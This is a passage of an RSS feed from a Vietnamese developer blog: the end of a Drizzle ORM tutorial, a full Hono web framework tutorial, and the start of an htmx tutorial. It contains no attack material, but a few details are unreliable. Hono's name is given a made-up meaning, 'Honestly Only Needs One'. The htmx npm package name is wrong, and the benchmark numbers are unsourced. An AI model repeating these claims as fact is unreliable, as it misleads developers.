})

// Định nghĩa relations
export const usersRelations = relations(users, ({ many }) =&gt; ({
  posts: many(posts),
}))

export const postsRelations = relations(posts, ({ one }) =&gt; ({
  author: one(users, {
    fields: [posts.authorId],
    references: [users.id],
  }),
}))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Query với joins&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// JOIN thủ công
const result = await db.select()
  .from(posts)
  .leftJoin(users, eq(posts.authorId, users.id))
// result: { posts: Post; users: User | null }[]

// JOIN với Drizzle relations (cần db.query)
const result = await db.query.posts.findMany({
  with: {
    author: true,
  },
})
// result: { id: number; title: string; authorId: number; author: User }[]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Connection cho Edge&lt;/h2&gt;
&lt;h3&gt;Cloudflare Workers (D1)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { drizzle } from &apos;drizzle-orm/d1&apos;

export default {
  async fetch(request, env) {
    const db = drizzle(env.DB) // env.DB = D1 binding

    const posts = await db.select().from(users)
    return Response.json(posts)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Neon (Serverless PostgreSQL)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { drizzle } from &apos;drizzle-orm/neon-http&apos;
import { neon } from &apos;@neondatabase/serverless&apos;

const sql = neon(process.env.DATABASE_URL!)
const db = drizzle(sql)

const result = await db.select().from(users)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bun + SQLite&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { drizzle } from &apos;drizzle-orm/bun-sqlite&apos;
import { Database } from &apos;bun:sqlite&apos;

const sqlite = new Database(&apos;blog.db&apos;)
const db = drizzle(sqlite)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Migration&lt;/h2&gt;
&lt;h3&gt;Push (dev)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx drizzle-kit push
# Sync schema → DB trực tiếp
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Generate migration&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx drizzle-kit generate
# Tạo SQL migration file
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- drizzle/migrations/0000_xxxx.sql
CREATE TABLE `users` (
  `id` integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  `name` text NOT NULL,
  `email` text NOT NULL
);
--&gt; statement-breakpoint
CREATE UNIQUE INDEX `users_email_unique` ON `users` (`email`);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Apply migration&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx drizzle-kit migrate
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Prepared Statements&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Drizzle tự động prepared statements
const stmt = db.select()
  .from(users)
  .where(eq(users.email, sql.placeholder(&apos;email&apos;)))
  .prepare(&apos;get_user_by_email&apos;)

// Dùng lại — chỉ parse 1 lần
const user1 = await stmt.execute({ email: &apos;alice@example.com&apos; })
const user2 = await stmt.execute({ email: &apos;bob@example.com&apos; })
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Raw SQL&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { sql } from &apos;drizzle-orm&apos;

// Query raw — vẫn type-safe với template
const users = await db.execute(
  sql`SELECT * FROM users WHERE email = ${email}`
)

// SQL fragment
const activeUsers = await db.select()
  .from(users)
  .where(sql`${users.status} = &apos;active&apos;`)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Dùng Drizzle?&lt;/h2&gt;
&lt;h3&gt;✅ Nên dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Edge deployment — Cloudflare Workers, Deno Deploy&lt;/li&gt;
&lt;li&gt;Serverless — Neon, PlanetScale, Turso&lt;/li&gt;
&lt;li&gt;Dự án TypeScript — muốn type-safe mà không codegen&lt;/li&gt;
&lt;li&gt;SQL-first team — thích viết SQL, không muốn ORM che giấu&lt;/li&gt;
&lt;li&gt;Bundle size quan trọng — ~500KB vs Prisma ~30MB&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Không nên&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Cần admin UI / dashboard — Prisma Studio tốt hơn&lt;/li&gt;
&lt;li&gt;Schema phức tạp, nhiều relation — Prisma relations API dễ hơn&lt;/li&gt;
&lt;li&gt;Dùng Prisma rồi, đang ổn — migration không đáng&lt;/li&gt;
&lt;li&gt;Cần GraphQL integration — Prisma + GraphQL ecosystem mạnh hơn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;So Sánh Query&lt;/h2&gt;
&lt;h3&gt;Drizzle&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const result = await db.select({
  id: posts.id,
  title: posts.title,
  authorName: users.name,
})
.from(posts)
.leftJoin(users, eq(posts.authorId, users.id))
.where(eq(posts.published, true))
.orderBy(desc(posts.createdAt))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Prisma&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const result = await prisma.post.findMany({
  where: { published: true },
  select: {
    id: true,
    title: true,
    author: { select: { name: true } },
  },
  orderBy: { createdAt: &apos;desc&apos; },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Drizzle gần SQL hơn — bạn biết SQL là bạn biết Drizzle. Prisma abstraction cao hơn, nhưng khi cần raw SQL thì khó hơn.&lt;/p&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;Drizzle chiếm chỗ riêng: TypeScript ORM nhẹ, SQL-like, edge-native.&lt;/p&gt;
&lt;p&gt;| | Prisma | Drizzle |
|---|---|---|
| Bundle | ~30MB | ~500KB |
| Codegen | ✅ Bắt buộc | ✅ Không cần |
| Edge | ⚠️ Hạn chế | ✅ Workers, Deno, Bun |
| SQL feeling | ❌ | ✅ |
| Type safety | ✅ | ✅ |
| Migration | ✅ | ✅ |
| Raw SQL | ⚠️ | ✅ |&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Drizzle: schema → query, vài dòng là xong
const db = drizzle(env.DB)
const posts = await db.select().from(users).where(eq(users.active, true))
// ✅ Type-safe, không codegen, edge-ready
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://orm.drizzle.team/docs/overview&quot;&gt;Drizzle ORM Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://orm.drizzle.team/docs/quick-postgresql&quot;&gt;Drizzle — PostgreSQL Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://orm.drizzle.team/kit-docs/overview&quot;&gt;Drizzle Kit — Migrations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://neon.tech/docs&quot;&gt;Neon — Serverless PostgreSQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/d1/&quot;&gt;Cloudflare D1 Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Hono — Web Framework Siêu Nhẹ Cho Edge Computing</title><link>https://dopana-blog.pages.dev/blog/hono-web-framework-sieu-nhe-cho-edge-computing</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/hono-web-framework-sieu-nhe-cho-edge-computing</guid><description>Hono là web framework siêu nhẹ (~14KB) cho edge, chạy trên Cloudflare Workers, Deno, Bun, Node. Router nhanh, middleware, RPC type-safe.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hono là web framework siêu nhẹ (~14KB), siêu nhanh, chạy trên mọi runtime: Cloudflare Workers, Deno, Bun, Node.js, Lambda.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { Hono } from &apos;hono&apos;

const app = new Hono()

app.get(&apos;/&apos;, (c) =&gt; c.text(&apos;Hello Hono!&apos;))
app.get(&apos;/json&apos;, (c) =&gt; c.json({ message: &apos;Hello!&apos; }))
app.post(&apos;/api/data&apos;, async (c) =&gt; {
  const body = await c.req.json()
  return c.json({ received: body })
})

export default app
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tại Sao Hono?&lt;/h2&gt;
&lt;h3&gt;So Sánh Runtime&lt;/h3&gt;
&lt;p&gt;| | Express | Fastify | Hono |
|---|---|---|---|
| Kích thước | ~200KB | ~150KB | ~14KB |
| Cloudflare Workers | ❌ | ❌ | ✅ |
| Deno | ❌ | ❌ | ✅ |
| Bun | ✅ | ❌ | ✅ |
| Node | ✅ | ✅ | ✅ |
| AWS Lambda | ❌ | ❌ | ✅ |
| Router | Regexp | Trie/Regexp | Trie (nhanh nhất) |
| TypeScript | OK | Tốt | Xuất sắc |&lt;/p&gt;
&lt;p&gt;Hono không chỉ nhỏ — nó còn có router nhanh nhất trong các web framework JS (dùng Trie tree, không regexp).&lt;/p&gt;
&lt;h3&gt;Tốc Độ Router&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Framework          Req/s
Hono (Trie)        ~280k
Fastify            ~220k
Express             ~15k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Với edge computing, mỗi microsecond quan trọng — Hono được tối ưu cho cold start.&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir hono-app &amp;#x26;&amp;#x26; cd hono-app
npm init -y
npm install hono
npx tsc --init
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Cloudflare Workers&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm create cloudflare@latest my-worker -- --template hono
cd my-worker
npm run dev
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bun&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bun init -y
bun add hono
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Router&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { Hono } from &apos;hono&apos;

const app = new Hono()

// Static routes
app.get(&apos;/&apos;, (c) =&gt; c.text(&apos;Home&apos;))
app.get(&apos;/about&apos;, (c) =&gt; c.text(&apos;About&apos;))

// Dynamic params
app.get(&apos;/users/:id&apos;, (c) =&gt; {
  const id = c.req.param(&apos;id&apos;)
  return c.json({ userId: id })
})

// Query params
app.get(&apos;/search&apos;, (c) =&gt; {
  const q = c.req.query(&apos;q&apos;)
  const page = c.req.query(&apos;page&apos;) || &apos;1&apos;
  return c.json({ query: q, page: Number(page) })
})

// Wildcard
app.get(&apos;/files/*&apos;, (c) =&gt; {
  const path = c.req.path
  return c.text(`Serving: ${path}`)
})

// Multiple handlers (middleware chain)
app.get(&apos;/profile&apos;,
  async (c, next) =&gt; {
    const token = c.req.header(&apos;Authorization&apos;)
    if (!token) return c.text(&apos;Unauthorized&apos;, 401)
    c.set(&apos;userId&apos;, &apos;123&apos;)
    await next()
  },
  (c) =&gt; {
    const userId = c.get(&apos;userId&apos;)
    return c.json({ profile: { id: userId, name: &apos;User&apos; } })
  }
)

export default app
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Middleware&lt;/h2&gt;
&lt;p&gt;Hono có middleware system giống Express nhưng nhẹ hơn:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// Built-in middleware
import { cors } from &apos;hono/cors&apos;
import { logger } from &apos;hono/logger&apos;
import { jwt } from &apos;hono/jwt&apos;
import { etag } from &apos;hono/etag&apos;
import { prettyJSON } from &apos;hono/pretty-json&apos;
import { timeout } from &apos;hono/timeout&apos;

const app = new Hono()

app.use(&apos;*&apos;, logger())
app.use(&apos;*&apos;, cors({ origin: &apos;https://example.com&apos; }))
app.use(&apos;/api/*&apos;, timeout(5000))
app.use(&apos;*&apos;, prettyJSON())
app.use(&apos;/static/*&apos;, etag())
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;JWT Auth&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { jwt } from &apos;hono/jwt&apos;

app.use(&apos;/admin/*&apos;, jwt({
  secret: &apos;my-secret-key&apos;,
}))

app.get(&apos;/admin/dashboard&apos;, (c) =&gt; {
  const payload = c.get(&apos;jwtPayload&apos;)
  return c.json({ admin: payload })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Custom Middleware&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// Rate limiter middleware
const rateLimit = (max: number, windowMs: number) =&gt; {
  const hits = new Map&amp;#x3C;string, { count: number; reset: number }&gt;()

  return async (c: Context, next: Next) =&gt; {
    const ip = c.req.header(&apos;CF-Connecting-IP&apos;) || &apos;unknown&apos;
    const now = Date.now()
    const record = hits.get(ip)

    if (!record || now &gt; record.reset) {
      hits.set(ip, { count: 1, reset: now + windowMs })
      return next()
    }

    if (record.count &gt;= max) {
      return c.text(&apos;Too Many Requests&apos;, 429)
    }

    record.count++
    return next()
  }
}

app.use(&apos;/api/*&apos;, rateLimit(100, 60000))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Validation với Zod&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { z } from &apos;zod&apos;
import { zValidator } from &apos;@hono/zod-validator&apos;

const schema = z.object({
  name: z.string().min(2).max(100),
  email: z.string().email(),
  age: z.number().int().positive().optional(),
})

app.post(&apos;/users&apos;, zValidator(&apos;json&apos;, schema), (c) =&gt; {
  const data = c.req.valid(&apos;json&apos;)
  // data: { name: string; email: string; age?: number }
  return c.json({ created: data }, 201)
})

// Validate query, param, header riêng
app.get(&apos;/posts/:id&apos;,
  zValidator(&apos;param&apos;, z.object({ id: z.string().regex(/^\d+$/) })),
  zValidator(&apos;query&apos;, z.object({ page: z.string().optional() })),
  (c) =&gt; {
    const { id } = c.req.valid(&apos;param&apos;)
    const { page } = c.req.valid(&apos;query&apos;)
    return c.json({ postId: id, page })
  }
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;RPC — Type-Safe Client&lt;/h2&gt;
&lt;p&gt;Giống tRPC, Hono có RPC mode cho type safety từ server đến client:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// server.ts
import { Hono } from &apos;hono&apos;

const app = new Hono()

app.get(&apos;/users/:id&apos;, (c) =&gt; {
  const id = c.req.param(&apos;id&apos;)
  return c.json({
    id,
    name: &apos;Alice&apos;,
    email: &apos;alice@example.com&apos;,
  })
})

app.post(&apos;/users&apos;, async (c) =&gt; {
  const body = await c.req.json&amp;#x3C;{ name: string }&gt;()
  return c.json({ id: &apos;123&apos;, name: body.name }, 201)
})

export type AppType = typeof app
export default app
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// client.ts
import { hc } from &apos;hono/client&apos;
import type { AppType } from &apos;./server&apos;

const client = hc&amp;#x3C;AppType&gt;(&apos;http://localhost:3000&apos;)

// ✅ Tự động suy kiểu response
const res = await client.users[&apos;:id&apos;].$get({
  param: { id: &apos;123&apos; },
})
const data = await res.json()
// data: { id: string; name: string; email: string }

// ✅ Input validated by type
const res2 = await client.users.$post({
  json: { name: &apos;Bob&apos; },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không codegen, không schema riêng — TypeScript inference thuần.&lt;/p&gt;
&lt;h2&gt;Streaming &amp;#x26; SSE&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// Server-Sent Events
app.get(&apos;/events&apos;, (c) =&gt; {
  return c.stream(async (stream) =&gt; {
    for (let i = 0; i &amp;#x3C; 10; i++) {
      await stream.write(`data: Event ${i}\n\n`)
      await stream.sleep(1000)
    }
  })
})

// Streaming response
app.get(&apos;/stream&apos;, (c) =&gt; {
  return c.stream(async (stream) =&gt; {
    for await (const chunk of readLargeFile()) {
      await stream.write(chunk)
    }
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Testing&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { Hono } from &apos;hono&apos;
import { test, describe, expect } from &apos;bun:test&apos;

const app = new Hono()
app.get(&apos;/hello&apos;, (c) =&gt; c.json({ message: &apos;Hello!&apos; }))

describe(&apos;GET /hello&apos;, () =&gt; {
  test(&apos;should return 200&apos;, async () =&gt; {
    const res = await app.request(&apos;/hello&apos;)
    expect(res.status).toBe(200)
    expect(await res.json()).toEqual({ message: &apos;Hello!&apos; })
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không cần supertest — &lt;code&gt;app.request()&lt;/code&gt; mock HTTP luôn.&lt;/p&gt;
&lt;h2&gt;Deploy&lt;/h2&gt;
&lt;h3&gt;Cloudflare Workers&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// wrangler.jsonc
{
  &quot;name&quot;: &quot;my-worker&quot;,
  &quot;main&quot;: &quot;src/index.ts&quot;,
  &quot;compatibility_date&quot;: &quot;2026-07-01&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx wrangler deploy
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bun&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { Hono } from &apos;hono&apos;
import { serve } from &apos;bun&apos;

const app = new Hono()
app.get(&apos;/&apos;, (c) =&gt; c.text(&apos;Bun + Hono&apos;))

serve(app.fetch)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Deno&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { Hono } from &apos;jsr:@hono/hono&apos;

const app = new Hono()
app.get(&apos;/&apos;, (c) =&gt; c.text(&apos;Deno + Hono&apos;))

Deno.serve(app.fetch)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Node.js&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install @hono/node-server
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { serve } from &apos;@hono/node-server&apos;
import { Hono } from &apos;hono&apos;

const app = new Hono()
app.get(&apos;/&apos;, (c) =&gt; c.text(&apos;Node + Hono&apos;))

serve(app, { port: 3000 })
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Dùng Hono?&lt;/h2&gt;
&lt;h3&gt;✅ Nên dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Edge API — Cloudflare Workers, Deno Deploy&lt;/li&gt;
&lt;li&gt;Serverless — cold start quan trọng&lt;/li&gt;
&lt;li&gt;Microservices nhẹ — muốn framework tối giản&lt;/li&gt;
&lt;li&gt;Multi-runtime — code chạy cả Workers + Node + Bun&lt;/li&gt;
&lt;li&gt;API nhanh — cần throughput cao&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Không nên&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Full-featured web app — cần session, template engine, ORM tích hợp (chọn NextJS/Nuxt)&lt;/li&gt;
&lt;li&gt;Legacy Express project — migration không đáng&lt;/li&gt;
&lt;li&gt;Cần nhiều plugin cộng đồng — Hono còn mới, ecosystem nhỏ hơn Express/Fastify&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;So Sánh Chi Tiết&lt;/h2&gt;
&lt;h3&gt;Hono vs Express&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// Express
const express = require(&apos;express&apos;)
const app = express()
app.get(&apos;/api/users/:id&apos;, async (req, res) =&gt; {
  const user = await db.findUser(req.params.id)
  res.json(user)
})

// Hono (giống, nhưng nhẹ hơn, edge-native)
import { Hono } from &apos;hono&apos;
const app = new Hono()
app.get(&apos;/api/users/:id&apos;, async (c) =&gt; {
  const user = await db.findUser(c.req.param(&apos;id&apos;))
  return c.json(user)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hono API quen thuộc nếu bạn biết Express, nhưng được thiết kế cho edge: không dùng Node API, dùng Web API chuẩn (Request/Response).&lt;/p&gt;
&lt;h3&gt;Hono vs Fastify&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// Fastify — plugin system mạnh, schema-based validation
fastify.post(&apos;/users&apos;, {
  schema: {
    body: {
      type: &apos;object&apos;,
      properties: { name: { type: &apos;string&apos; } }
    }
  }
}, handler)

// Hono — Zod trực tiếp, không cần schema language
app.post(&apos;/users&apos;, zValidator(&apos;json&apos;, z.object({
  name: z.string()
})), handler)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fastify dùng JSON Schema (Ajv). Hono dùng Zod hoặc custom parser — linh hoạt hơn, TypeScript-native hơn.&lt;/p&gt;
&lt;h2&gt;Helper phổ biến&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;const app = new Hono()

// Redirect
app.get(&apos;/old-path&apos;, (c) =&gt; c.redirect(&apos;/new-path&apos;, 301))

// Set cookie
app.get(&apos;/login&apos;, (c) =&gt; {
  c.header(&apos;Set-Cookie&apos;, &apos;session=token; HttpOnly; Secure&apos;)
  return c.text(&apos;Logged in&apos;)
})

// Custom status
app.get(&apos;/created&apos;, (c) =&gt; c.json({ id: 1 }, 201))

// Conditional response
app.get(&apos;/not-modified&apos;, (c) =&gt; c.body(null, 304))

// HTML response
app.get(&apos;/page&apos;, (c) =&gt; c.html(`
  &amp;#x3C;!DOCTYPE html&gt;
  &amp;#x3C;h1&gt;Hello Hono&amp;#x3C;/h1&gt;
`))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;Hono là web framework phù hợp nhất cho kỷ nguyên edge computing hiện tại.&lt;/p&gt;
&lt;p&gt;| Ưu điểm | Nhược điểm |
|---|---|
| ~14KB — siêu nhẹ | Ecosystem còn nhỏ |
| Nhanh nhất (Trie router) | Chưa có nhiều template engine |
| Chạy mọi runtime | Không ORM tích hợp |
| TypeScript-first | |
| RPC type-safe built-in | |
| Cold start nhanh | |&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Chạy app Hono đầu tiên trong 30s
npm create cloudflare@latest my-api -- --template hono
cd my-api
npm run dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hono viết tắt của &quot;Honestly Only Needs One&quot; — đúng nghĩa: một framework cho mọi runtime.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://hono.dev/&quot;&gt;Hono Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hono.dev/api/hono&quot;&gt;Hono API Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hono.dev/docs/middleware/builtin/cors&quot;&gt;Hono Middleware&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hono.dev/docs/guides/rpc&quot;&gt;Hono RPC — Type-Safe Client&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hono.dev/examples/zod-openapi&quot;&gt;Hono — Zod Validator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/honojs/hono&quot;&gt;Hono GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>htmx — Hypermedia Thay JSON Cho Web App</title><link>https://dopana-blog.pages.dev/blog/htmx-hypermedia-thay-json-cho-web-app</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/htmx-hypermedia-thay-json-cho-web-app</guid><description>htmx xây dynamic web app bằng HTML attributes, không cần JavaScript. Gọi API, swap DOM, validation — tất cả từ server-rendered HTML.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;htmx là thư viện cho phép bạn xây dynamic web app mà không cần viết JavaScript. Mọi thứ qua HTML attributes.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Thay thế JSON API + client render bằng HTML từ server --&gt;
&amp;#x3C;button hx-get=&quot;/api/load-more&quot; hx-target=&quot;#list&quot; hx-swap=&quot;beforeend&quot;&gt;
  Load More
&amp;#x3C;/button&gt;

&amp;#x3C;!-- Click → GET /api/load-more → server trả HTML → append vào #list --&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không build step, không bundle, không SPA framework. Chỉ một &lt;code&gt;&amp;#x3C;script&gt;&lt;/code&gt; tag và HTML.&lt;/p&gt;
&lt;h2&gt;Tại Sao htmx?&lt;/h2&gt;
&lt;h3&gt;Vấn đề với SPA&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// React App điển hình
// 1. Fetch JSON từ API
// 2. Parse JSON
// 3. setState
// 4. Re-render component
// 5. Handle loading/error states
// 6. Handle stale data
// 7. Bundle, build, deploy

const [data, setData] = useState(null)
const [loading, setLoading] = useState(true)

useEffect(() =&gt; {
  fetch(&apos;/api/users&apos;)
    .then(r =&gt; r.json())         // JSON parse
    .then(d =&gt; { setData(d); setLoading(false) })
}, [])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;htmx&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Chỉ cần HTML --&gt;
&amp;#x3C;div hx-get=&quot;/api/users&quot; hx-trigger=&quot;load&quot;&gt;
  Loading...
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Server trả HTML, htmx đặt vào DOM. Không JSON, không state, không re-render logic.&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- CDN — chỉ 1 dòng, ~14KB min+gzip --&gt;
&amp;#x3C;script src=&quot;https://unpkg.com/htmx.org@2.0.4&quot;&gt;&amp;#x3C;/script&gt;

&amp;#x3C;!-- Hoặc npm --&gt;
npm install htmx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không build step, không webpack, không vite config.&lt;/p&gt;
&lt;h2&gt;Core Attributes&lt;/h2&gt;
&lt;h3&gt;hx-get / hx-post / hx-put / hx-delete&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- GET request --&gt;
&amp;#x3C;button hx-get=&quot;/api/posts&quot;&gt;Load Posts&amp;#x3C;/button&gt;

&amp;#x3C;!-- POST form --&gt;
&amp;#x3C;form hx-post=&quot;/api/users&quot;&gt;
  &amp;#x3C;input name=&quot;name&quot; placeholder=&quot;Name&quot;&gt;
  &amp;#x3C;button type=&quot;submit&quot;&gt;Create&amp;#x3C;/button&gt;
&amp;#x3C;/form&gt;

&amp;#x3C;!-- PUT + DELETE --&gt;
&amp;#x3C;button hx-put=&quot;/api/users/1&quot; hx-target=&quot;#user-1&quot;&gt;Update&amp;#x3C;/button&gt;
&amp;#x3C;button hx-delete=&quot;/api/users/1&quot; hx-target=&quot;#user-1&quot; hx-swap=&quot;delete&quot;&gt;
  Delete
&amp;#x3C;/button&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;hx-target — Nơi đặt kết quả&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Kết quả vào #result --&gt;
&amp;#x3C;input hx-get=&quot;/api/search&quot; hx-target=&quot;#results&quot; name=&quot;q&quot;&gt;

&amp;#x3C;!-- Kết quả vào chính nó (mặc định) --&gt;
&amp;#x3C;button hx-get=&quot;/api/refresh&quot;&gt;Refresh&amp;#x3C;/button&gt;

&amp;#x3C;!-- closest — element cha gần nhất --&gt;
&amp;#x3C;button hx-delete=&quot;/api/items/1&quot; hx-target=&quot;closest li&quot; hx-swap=&quot;delete&quot;&gt;
  Delete
&amp;#x3C;/button&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;hx-swap — Cách đặt vào DOM&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- innerHTML (mặc định) --&gt;
&amp;#x3C;div hx-get=&quot;/api/content&quot; hx-swap=&quot;innerHTML&quot;&gt;&amp;#x3C;/div&gt;

&amp;#x3C;!-- outerHTML — thay thế chính element đó --&gt;
&amp;#x3C;div hx-get=&quot;/api/replace&quot; hx-swap=&quot;outerHTML&quot;&gt;&amp;#x3C;/div&gt;

&amp;#x3C;!-- beforebegin / afterbegin / beforeend / afterend --&gt;
